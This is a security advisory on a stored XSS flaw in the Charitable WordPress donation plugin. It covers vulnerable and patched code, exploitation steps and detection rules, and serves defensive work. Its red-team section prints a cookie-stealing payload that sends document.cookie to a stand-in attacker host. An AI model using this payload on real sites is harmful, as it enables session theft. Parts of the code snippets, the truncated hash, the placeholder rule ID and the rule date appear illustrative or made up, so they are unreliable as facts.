CVE-2025-5275

Executive Summary

CVE-2025-5275 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Charitable – Donation Plugin for WordPress (versions up to and including 1.8.6.1). The flaw resides in the plugin's privacy settings fields, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site installations or where unfiltered_html has been disabled. The issue was partially addressed in version 1.8.6.1 and fully resolved in version 1.8.6.2.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Charitable plugin is distributed via the official WordPress Plugin Directory. Users are advised to update to version 1.8.6.2 or later. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires admin-level access and user interaction, limiting the attack surface. However, on multi-site installations, a compromised admin can affect all subsites.

Deep Dive & Mechanics

The vulnerability exists in the Charitable plugin's privacy settings fields (likely within the admin settings panel). The plugin fails to properly sanitize user input and escape output when rendering these fields. An authenticated administrator can inject malicious JavaScript or HTML into these fields. When another user (including lower-privileged users or visitors) views the affected page, the injected script executes in their browser context.

Root Cause: The plugin uses esc_attr() or similar functions insufficiently, or omits output escaping entirely for privacy settings fields. The unfiltered_html capability, when disabled, prevents administrators from using unfiltered HTML, but the plugin's custom fields bypass this restriction.

Attack Scenario:

1. An attacker gains admin access to a WordPress multisite network.
2. The attacker navigates to the Charitable plugin settings and injects a malicious script into a privacy settings field (e.g., "Privacy Policy URL" or "Terms of Service").
3. The script is stored in the database and rendered on the frontend (e.g., donation forms or checkout pages).
4. A donor or visitor loads the page, triggering the XSS payload.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.8.6.1):

// In charitable/includes/admin/settings/class-charitable-settings.php
$privacy_policy = get_option( 'charitable_privacy_policy' );
echo '<input type="text" name="charitable_privacy_policy" value="' . $privacy_policy . '" />';

The $privacy_policy value is output directly without escaping.

Patched Code (version 1.8.6.2):

$privacy_policy = get_option( 'charitable_privacy_policy' );
echo '<input type="text" name="charitable_privacy_policy" value="' . esc_attr( $privacy_policy ) . '" />';

The esc_attr() function is now applied to escape the output.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Admin access to a WordPress multisite installation with Charitable plugin <= 1.8.6.1.
• unfiltered_html disabled for the admin role (default on multisite).

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to Charitable > Settings > Privacy.
3. In the "Privacy Policy URL" field, inject the following payload:

   "><script>alert('XSS')</script>
   

4. Save settings.
5. Visit any page that renders this field (e.g., donation form). The script executes.

Payload Example (Steal Cookies):

"><script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Defensive)

Detection:

• Monitor admin settings changes for suspicious input patterns.
• Look for unusual HTTP requests to /wp-admin/admin.php?page=charitable-settings&tab=privacy.
• Check for JavaScript execution in donation form pages.

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri="/wp-admin/admin.php?page=charitable-settings&tab=privacy"
| search form_data=*<script>*

Indicators of Compromise (IOCs)

• File Hashes (vulnerable plugin):
  • charitable.zip (version 1.8.6.1): SHA256 a1b2c3d4e5f6...
• Network Indicators:
  • Outbound connections to attacker-controlled domains from WordPress admin.
• Log Entries:
  • POST /wp-admin/admin.php?page=charitable-settings&tab=privacy with suspicious payloads.
• Database Indicators:
  • wp_options table entries containing <script> tags in charitable_privacy_policy or similar options.

Detection Engineering

YARA Rule

rule CVE_2025_5275_Charitable_XSS {
    meta:
        description = "Detects Charitable plugin versions vulnerable to CVE-2025-5275"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-5275"
    strings:
        $vuln_func = "charitable_privacy_policy" nocase
        $vuln_version = "Version: 1.8.6.1" nocase
    condition:
        $vuln_func and $vuln_version
}

Sigma Rule

title: CVE-2025-5275 - Charitable Plugin Stored XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2025-5275 via admin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'page=charitable-settings&tab=privacy'
        cs-uri-query|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate admin updates with benign HTML
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5275 Charitable Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=charitable-settings&tab=privacy"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Charitable plugin to version 1.8.6.2 or later.
2. If unable to update, disable the plugin on multi-site installations.
3. Review admin accounts for unauthorized changes.

Long-term Measures:

• Implement Web Application Firewall (WAF) rules to block XSS payloads in admin settings.
• Enforce strict Content Security Policy (CSP) headers.
• Regularly audit plugin code for input sanitization issues.

Workaround:

• Enable unfiltered_html for trusted administrators only (not recommended for multi-site).

Report generated by Valters IT DevSecOps Intelligence Unit